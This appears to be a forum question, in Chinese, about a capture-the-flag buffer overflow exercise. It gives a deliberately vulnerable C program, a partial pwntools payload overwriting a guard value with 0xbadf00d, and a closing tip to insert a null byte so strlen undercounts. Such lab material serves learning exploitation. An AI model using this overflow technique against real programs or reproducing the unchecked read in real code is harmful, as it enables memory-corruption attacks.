我需要调用 call_me() 函数才能获得标志。
标志.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "../../shared/kernels_lib.c"
typedef struct node_t {
int x;
char y;
float z;
} weird_node;
void unsafe() {
int characters_read;
int some_other_value = 0xFFFF;
int* protector = (int *)malloc(sizeof(weird_node)*33);
char buffer[24];
printf("Give me some strings (Mind your values!):\n");
read(0, buffer, 1000);
characters_read = strlen(buffer);
if (*(&protector + some_other_value) == 0xbadf00d) {
if (characters_read > 24) {
printf("\n\ttoo many characters read!\n");
exit(-1);
} else {
call_me();
}
}
}
int main(int argc, char* argv[]){
unsafe();
return 0;
}
e.py:
#!/usr/bin/env python3
import sys
import os
from pwn import *
context.update(arch='x86_64', os='linux')
payload = cyclic(32)
payload += p64(0xbadf00d)
payload += p64(0xFFFFFF)
我已经实现了将保护器的值修改为 0xbadf00d 以通过第一个 if 条件,但我不知道如何通过第二个,我也尝试修改 characters_read 变量但我可以成功。你能帮我一些提示吗?非常感谢。
我不得不在有效负载中添加 0x00 以欺骗 strlen 函数